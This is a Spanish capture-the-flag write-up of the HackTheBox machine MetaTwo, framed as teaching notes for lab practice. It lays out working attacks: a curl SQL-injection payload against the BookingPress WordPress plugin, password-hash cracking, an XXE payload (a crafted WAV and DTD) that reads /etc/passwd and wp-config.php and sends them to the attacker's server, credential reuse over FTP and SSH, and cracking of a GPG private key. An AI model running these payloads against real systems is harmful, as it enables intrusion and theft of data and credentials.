HackTheBox - MetaTwo


Creado
HackTheBox - MetaTwo

Máquina Linux nivel fácil. WordPress y plugins juguetones con SQLi, XXE y LFI. Credenciales por doquier yyy crackeito de llaves privadas de passpie.

TL;DR (Spanish writeup)

Creada por: Nauten.

¿Tenemos credenciales?

Empezamos con una web gestionada por el CMS WordPress, en ella el plugin Booking Press permitirá una inyeccion SQL, encontraremos credenciales y entraremos a la interfaz administrativa del WordPress. Aprovecharemos una vulnerabilidad del propio WP que permite un XXE para ver archivos del sistema. Tendremos archivos de configuración con contraseñas válidas para distintos servicios, uno de ellos es FTP.

Logeados en el servidor FTP veremos objetos con más credenciales, esas credenciales y nuestra previa enumeración nos permitirán obtener una SSH como el usuario jnelson en el sistema.

Finalmente, el sistema usa la herramienta passpie para gestionar las contraseñas de los usuarios, aprovecharemos una llave privada para obtener la contraseña maestra y así jugar tranquilamente con la información almacenada en passpie.

Clasificación de la máquina según la gentesita

Vulnerabilidades conocidas y el creador intenta mantenerla real.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

No hay afán, respira y vuelve a intentarlo.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Empezaremos con lo básico, vamos a descubrir que puertos (servicios) tiene activos la máquina, usaré nmap:

nmap -p- --open -v 10.10.11.186 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard
Puerto Descripción
21 FTP: Transferencia de archivos.
22 SSH: Shell de manera segura.
80 HTTP: Servidor web.

Lo siguiente ya al tener los puertos es profundizar un poco, vamos a ver qué software y versión está ejecutando cada uno y además usaremos unos scripts por default que usa nmap para ver si nos encuentra algo más:

+ ~ +(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

[*] Extracting information...

    [*] IP Address: 10.10.11.186
    [*] Open ports: 21,22,80

[*] Ports copied to clipboard

)+ ~ +

nmap -p 21,22,80 -sCV 10.10.11.186 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Podemos destacar:

Puerto Servicio Versión
22 SSH OpenSSH 8.4p1 Debian 5+deb11u1
80 HTTP nginx 1.18.0
  • Y hay un redirect hacia http://metapress.htb/, ya lo veremos.

Enumeración #

Sabiendo que hay un redirect (al hacer peticiones hacia la dirección IP 10.10.11.186 nos da error y nos envía al dominio metapress.htb (que también da erro)) podemos usar el objeto /etc/hosts para que nuestro sistema lo entienda.

❱ cat /etc/hosts
...
10.10.11.186  metapress.htb
...

Con esto le decimos que resuelva el contenido de la dirección IP 10.10.11.186 con respecto al dominio metapress.htb.

Recorriendo el puerto 80 📌

Si ahora hacemos una petición ya veríamos el contenido:

A primera vista (por la experiencia) tiene diseño de WordPress… Además, hay algunos links y referencias: dice que podemos inscribirnos en el lanzamiento y nos pone un link en el cual podemos hacerlo, si damos clic llegamos:

Haciendo el proceso finalizamos en:

Pues nada relevante la verdad, solo que si abrimos biiiiien los ojos y abrimos el código fuente (usando CTRL^U o click derecho “Ver fuente de la página”) notamos algo llamativo, ¿lo ves?:

  • Estamos en el CMS WordPress, ya que hay varias rutas que son usadas por él y si ejecutamos un reconocimiento a las cabeceras de la web lo confirmamos (además de ver su versión):

    ❱ whatweb http://metapress.htb
    http://metapress.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.186], MetaGenerator[WordPress 5.6.2], PHP[8.0.24], PoweredBy[--], Script, Title[MetaPress &#8211; Official company site], UncommonHeaders[link], WordPress[5.6.2], X-Powered-By[PHP/8.0.24], nginx[1.18.0]
    

    Contamos con WordPress 5.6.2, anotarlo por si algo.

  • Existe un plugin que está siendo usado en la parte de los eventos: bookingpress-appointment-booking, de él si no tenemos versión.

La cosita es que ya contando con dos software y además una versión, pues es más sencillo empezar a jugar con internet para buscar posibles vulnerabilidades o bugs de los cuales podamos aprovecharnos, empecemos con WordPress.

🔍 WordPress 5.6.2

Hay dos vulns que se arreglaron en la versión 5.6.3, o sea que están en la anterior (en la que tenemos):

Y entre los dos el primero es el más interesante, peeero claro, para usarlo primero necesitamos estar autenticados. Así que hay que dejarlo por ahí quieto en tal caso de que obtengamos credenciales…

Ahora busquemos cositas del plugin.

🔍 bookingpress-appointment-booking WordPress Plugin

Encontramos este recurso:

Que en sí, su nombre nos pone a dudar, ya que nuestro plugin tiene uno parecido, pero no igual, solo que detallando un poco el post notamos que software afecta:

Y pues ese si es el plugin que tenemos, así que ojito… La explotación se da por un problema al sanitizar la data enviada por POST:

The plugin fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection

Y en el mismo reporte nos indica la manera de explotar este SQLi…

Una inyección SQL se basa en aporvechar consultas hechas hacia una base de datos de forma no sanitizada para como atacantes agregar consultas maliciosas con el fin de descubrir información interna de las bases de datos a la cual no deberiamos acceder.

Ahora si revisemos el PoC (proof of concept) del artículo.

Explotación #

Los dos primeros pasos no podemos hacerlos, ya que son llevados a cabo por una interfaz administrativa a la cual no tenemos acceso (por no tener credenciales). Pero si intentamos realizar el tercero: visitar el sitio web, ver su código fuente y buscar la cadena action:'bookingpress_front_get_category_services' para quedarnos con el nonce (que deber sé un token o algo así) nos quedamos así: 😯

Vamos a la web de eventos, ahí abrimos su fuente y buscamos la cadena juguetona, finalmenteeeee:

Ahí está el rey, solo nos quedaría el cuarto paso: invocar una petición web tal que así (en el caso del PoC con cURL, pero puede ser con cualquier cosita):

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=d291d0b84b&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

En sí, lo que hace es sencillo, ejecutar una petición POST enviando todos los parámetros dentro de --data (entre ellos el wpnonce) y se aprovecha del parámetro total_service para inyectar una consulta que genere una inyección SQL basada en uniones (esta es una de las sencillas, ya que al generar la explotación la info se muestra por pantalla sin problemas) que muestre (en este caso) la versión (@@version) del gestor SQL entre otras versiones.

La ejecutamos y podemos ver dos respuestas, una al colocar un wpnonce inválido y otro en el que sea válido:

{"variant":"error","title":"Error","msg":"Sorry, Your request can not process due to security reason."}

Yyyyyyy:

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

Detallamos la versión de MySQL usada: 10.5.15-MariaDB-0+deb11u1, así que TENEMOS UNA INYECCIÓN SQLLLLLL! Y podemos empezar a jugar para dumpear tooooda la base de datos (e incluso distintas basees de datos, no solo la actual).

Armémonos un script que explote esta vaina…

bookingPresSQLi_union.py

Veamos que bases de datos existen:

 python3 bookingPresSQLi_union.py -q
Dumpeando info mediante un SQLi...

Base de datos: information_schema
Base de datos: blog

Dos, la interesante es blog así que caigamos en sus tablas:

 python3 bookingPresSQLi_union.py -q blog
Dumpeando info mediante un SQLi...

Tabla: wp_options
Tabla: wp_term_taxonomy
Tabla: wp_bookingpress_servicesmeta
Tabla: wp_commentmeta
Tabla: wp_users
Tabla: wp_bookingpress_customers_meta
Tabla: wp_bookingpress_settings
Tabla: wp_bookingpress_appointment_bookings
Tabla: wp_bookingpress_customize_settings
Tabla: wp_bookingpress_debug_payment_log
Tabla: wp_bookingpress_services
Tabla: wp_termmeta
Tabla: wp_links
Tabla: wp_bookingpress_entries
Tabla: wp_bookingpress_categories
Tabla: wp_bookingpress_customers
Tabla: wp_bookingpress_notifications
Tabla: wp_usermeta
Tabla: wp_terms
Tabla: wp_bookingpress_default_daysoff
Tabla: wp_comments
Tabla: wp_bookingpress_default_workhours
Tabla: wp_postmeta
Tabla: wp_bookingpress_form_fields
Tabla: wp_bookingpress_payment_logs
Tabla: wp_posts
Tabla: wp_term_relationships

Jmmm, hay una de usuarios, a verla:

 python3 bookingPresSQLi_union.py -q blog wp_users
Dumpeando info mediante un SQLi...

Columna: ID
Columna: user_login
Columna: user_pass
Columna: user_nicename
Columna: user_email
Columna: user_url
Columna: user_registered
Columna: user_activation_key
Columna: user_status
Columna: display_name

Tiene algunos campos llamativos, pero empecemos con el username y la password:

 python3 bookingPresSQLi_union.py -q blog wp_users user_login
Dumpeando info mediante un SQLi...

user_login: admin
user_login: manager

Epa, dos usuarios… Estas serían sus contraseñas:

 python3 bookingPresSQLi_union.py -q blog wp_users user_pass 
Dumpeando info mediante un SQLi...

user_pass: $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
user_pass: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Estas contraseñas están hasheadas con alguno de los siguientes algoritmos: phpass, WordPress (MD5), Joomla (MD5) (lo sé usando esta lista de ejemplos y buscando el mismo “formato” de hash, si no existen muchas herramientas para validar que tipo de hash tenemos), así que debemos intentar un crackeito guapo a ver si logramos romperlos y verlas en texto plano, así que tomemos las dos contraseñas, agreguémoslas a un archivo en nuestro sistema y démole un formato lindo para saber de quién es cada contraseña:

admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Y con john procedemos a crackear:

❯ john -w:/usr/share/wordlists/rockyou.txt bookingpresSQLi_users.hash

Esperamos un ratico yyyyyyyyyyy:

...
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (manager)
...

Obtenemos la contraseña en texto plano del usuario manager (la de admin si parece que nos tendrá ahí un buen rato o quizás no está en el diccionario), recordemos que estas son credenciales válidas en la base de datos WordPress, por lo que el primer intento será en la interfaz de logeo (/wp-login.php) en caso de que no nos sirva, pues caemos en SSH o FTP a ver si ahí si (de igual forma como prueba hay que probar las credenciales por todo lado, pueda que sean válidas en distintos servicios a la vez).

Colocamos las credenciales, damos click en “Log In” yyyy:

PEEEERFECTOOO! Tenemos acceso como el usuario manager a una interfaz, al parecer de diseño y multimedia, a explo(r/t)ar…

Sin mirar nada ni mover nada, ¿qué se te ocurre que podemos intentar de primeras? SISISISISISI, en nuestra enumeración encontramos una vulnerabilidad relacionada justamente con multimedia y que necesitaba autenticación para ser intentada, ¿recuerdas?

XXE mediante videitos 📌

La vulnerabilidad es esta:

Y básicamente aprovecha que un usuario puede subir archivos mediante el feature Media Library (nosotros podemos):

Para explotar un XML mal procesado por la librería ID3 usada por versiones de PHP 8 en adelante, que permiten nada más y nada menos que ataques XXE 😨

De igual forma en el link de arriba sobre la vuln hay varios recursos por si quieres profundizar.

Veamos unos conceptos rápidamente y nos ponemos a jugar…

💉 XXE o inyección de entidades XML externas es una vulnerabildad donde el atacante interfiere en el uso de data XML para agregar instrucciones ‘extra’ que pueden llegar a comprometer el servidor o sistema. La idea en la explotación es implementar “entidades” (que serian como variables en programación) en el tratamiento XML las cuales procesaran toooda la data que el atacante quiera obtener.

Otras definiciones:

  • wav file: Formato de audio digital.
  • dtd file: Un objeto DTD (Documento para la Definición de Tipos) declara la estructura de los elementos y atributos de un documento XML.

Ahora si explotemos este XXE… 📌

El PoC nos indica que debemos crear dos objetos, un .wav y un .dtd, en el wav lo que hacemos es simplemente consultar el objeto dtd que es el que tiene toda la locura (:

La cosa es que ese PoC no me generaba las peticiones al servidor donde tenía los objetos, busque y encontré este:

Que es exactamente lo mismo (solo que probablemente el formato estaba erróneo o algún typo), generamos los objetos:

📁 malicious.wav:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.137:8000/xxe.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

📁 xxe.dtd:

echo '<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">' >> xxe.dtd
echo -ne '<!ENTITY % init "<!ENTITY &#37; trick SYSTEM '"'"'http://10.10.14.137:8000/?content=%file;'"'"'>" >' >> xxe.dtd

Ya tendríamos los objetos, ahora entendamos qué pasa con ellos:

  1. Vamos a tener un servidor web donde estén alojados los objetos.
  2. El archivo wav hace un llamado a nuestro servidor en busca del objeto dtd mediante la entidad remote (que si nos fijamos es la primera que ejecuta: %remote;…)
  3. Después llama la entidad init que está definida en nuestro dtd.
  4. Esa entidad a su vez declara otra llamada trick la cual hará una petición hacia nuestro servidor enviando el contenido de la entidad file.
  5. ¿Y qué tiene la entidad file? En este caso el archivo /etc/passwd (contiene los usuarios del sistema) encodeado en base64 mediante el wrapper filter de PHP. ¿Pero para qué lo encodeamos? Así evitamos que el objeto en dado caso sea interpretado/ejecutado y no leído.
  6. Lo que obtendríamos entonces sería una petición con una cadena en base64 la que al decodearla nos daría el contenido del archivo en CRUDO!.

Pues listooooos hagámosle, levantamos servidor web:

❯ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

Procedemos a subir el archivo .wav (obtenemos esta respuesta):

Pueda que no se haya subido, ppPEEeEEEeeRO en nuestro servidor weeeeeb obtenemos una petición con una cadena en base64!!!!

Sí, la tomamos y la decodeamos vemooooos:

echo "cm9...bgo=" | base64 -d > passwd

ESTAMOS viendo EL contenido DE un OBJETO del SISTEMAAAAAAAAAAAA 🔥 (Además vemos como únicos usuarios con una terminal a root y a jnelson, así que ya tenemos usuarios internos).

Pues solo queda jugar con los distintos archivos a ver si encontramos algo llamativo…

Por ejemplo, apoyados del PoC anterior notamos que intenta cargar el archivo wp-config.php (que en WordPress contiene credenciales usadas para conectarse a la base de datos) en lugar del /etc/passwd, pues probemos nosotros también (:

Hacemos el mismo proceso solo que en el archivo dtd cambiamos el recurso:

Me hice este archivo para automatizar cositas y refrescar ideas: wavPRESS_xxeXlfi.py


<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php">

Nos salimos de la carpeta donde estan siendo subidos los objetos .wav para llegar a la raiz del proyecto y leer el que necesitamos.

Ejecutamos todo yyyy en nuestro servidor:

Decodeamos para encontrar efectivamente no una sino dos credenciales (además de un subdominio):

Una para la base de datos y otra para el servicio FTP, acá PUUUM, recordamos que tenemos activo el servicio FTP, así que nos encaminamos directo a él (probando reutilización de creds con SSH y WordPress no logramos nada):

ftp metapress.htb

Nos pide el usuario y su contraseña, colocamos las de FTP y obtenemos una sesión válida:

230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Listando lo que exista vemos:

ftp> dir
229 Entering Extended Passive Mode (|||33082|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer
226 Transfer complete

Dentro de blog están la estructura del sitio WordPress, nada interesante (ya tenemos el archivo wp-config.php).

Y dentro de mailer hay unos archivos de PHPMailer:

ftp> cd mailer
ftp> dir
229 Entering Extended Passive Mode (|||39054|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22 18:32 send_email.php
226 Transfer complete

Si revisamos el objeto send_email.php encontramos otras credenciales y otro subdominio:

ftp> get send_email.php

Jmmm, pues volviendo a hacer una reutilización de credenciales contra SSH notamos algo:

NOTAMOS QUE TENEMOS UNA TERMINAAAAAAL EN EL SISTEMAAAAAAA!!!!!! e.e A James Nelson le dio pereza acordarse de tantas contraseñas…

Escalada de privilegios #

Lo primero que notamos llamativo es una carpeta llamada .passpie:

Esa carpeta no la he visto nunca, lo primero que hago es entrar en ella, encontramos esto:

Un archivo de configuración con prácticamente 0 de tamaño, otro con “llaves” (?) y una carpeta llamada ssh con dos objetos: jnelson.pass y root.pass, nombres claramente juguetones (se puso interesante).

Indagando encontramos que el objeto .keys tiene una llave pública y otra privada dentro:

Y que los objetos .pass son mensajes con credenciales y con al parecer la contraseña encriptada:

Uhhhh, pues averigüemos de que trata todo esto…

🔑 Passpie es una herramienta usada para gestionar contraseñas de manera bonita y sencilla. Esta basada en una contraseña maestra que desencripta todas las demás. Además los objetos son encriptados con GnuPG (toma sentido la cabecera y footer de las llaves). ~ passpie.

Y pues, si la ejecutamos, vemos los dos mensajes:

Y apoyados de la documentación oficial podemos exportar las contraseñas guardadas (passpie exporta las contraseñas en texto plano):

Pero claro, nos pide una contraseña que aún no tenemos a pesar de probar todas las anteriores…

Hay varias cositas a detallar acá. Notamos que los mensajes están encriptados, por lo que podríamos buscar una manera de romperlos, ¿no?… Así estuve sin mentir 3 días, bien bobito y confundido, sin ver lo obvio.

Rompiendo llave privada GnuPG 📌

Tenemos dos llaves, una pública y una privada en el archivo .keys, pues si nos vamos a los conceptos sabemos qué intentar.

El tema de las llaves privadas y públicas es sencillo, la llave pública da igual que sea compartida o “robada”, ya que únicamente sirve para cifrar los mensajes, peeeeero la privada es la que sirve para descifrar esos mensajes, ESA es la importante (y la tenemos).

Si alguien se roba una llave privada, puede intentar crackearla para descubrir la contraseña que hay por detrás…

Apoyados de john y que el cifrado de la llave fue mediante GnuPG usaremos la herramienta gpg2john para obtener un hash el cual es correctamente interpretado por john:

Construimos el binario:

wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/src/gpg2john.c
gcc gpg2john.c -o gpg2john

Ahora del archivo .keys extraemos únicamente la llave privada y la guardamos en un objeto de nuestro sistema:

❯ cat pgp_private.jnelson
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
...
...
...
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

Y usando gpg2john:

❯ gpg2john pgp_private.jnelson

Guardamos el hash en un archivo:

❯ gpg2john pgp_private.jnelson > hash_pgp_private.jnelson

Y ahora solo quedaría probar el crackeito:

❯ john -w:/usr/share/wordlists/rockyou.txt hash_pgp_private.jnelson

John detecta que tipo de hash es y de una empieza a probar con ese formato pasándole cada una de las palabras del diccionario rockyou.txt, esperamos un rato, otro rato, otro poco de rato yyyy:

...
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)
...

Encontramos una contraseñaaaaaaaaaaaaaaaa (y que a James le gusta Blink 182) asignada al parecer al servicio passpie, comprobemos de nuevo el export:

EJEEEEEEPA, si es válida y nos generó el archivo, pues revisemos que exporto:

VEMOS LOS DOS MENSAJES DESENCRIPTADOOOOOOOOOOS (: Y efectivamente son credenciales, tomemos la de root y probémosla:

AÑAÑAII, estamos en el sistema como el usuario root, veamos las flags:

Una máquina que me gusto mucho, esa concatenación de vulns fue brutal. El reutilizar credenciales no forma no tan obvias, me gusto también. Y la escalada fue interesante más que nada al salir de ese rabbit-hole en el que me metí solito.

Y nada más, como siempre a seguir rompiendo de todo y nos charlamos luego!!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus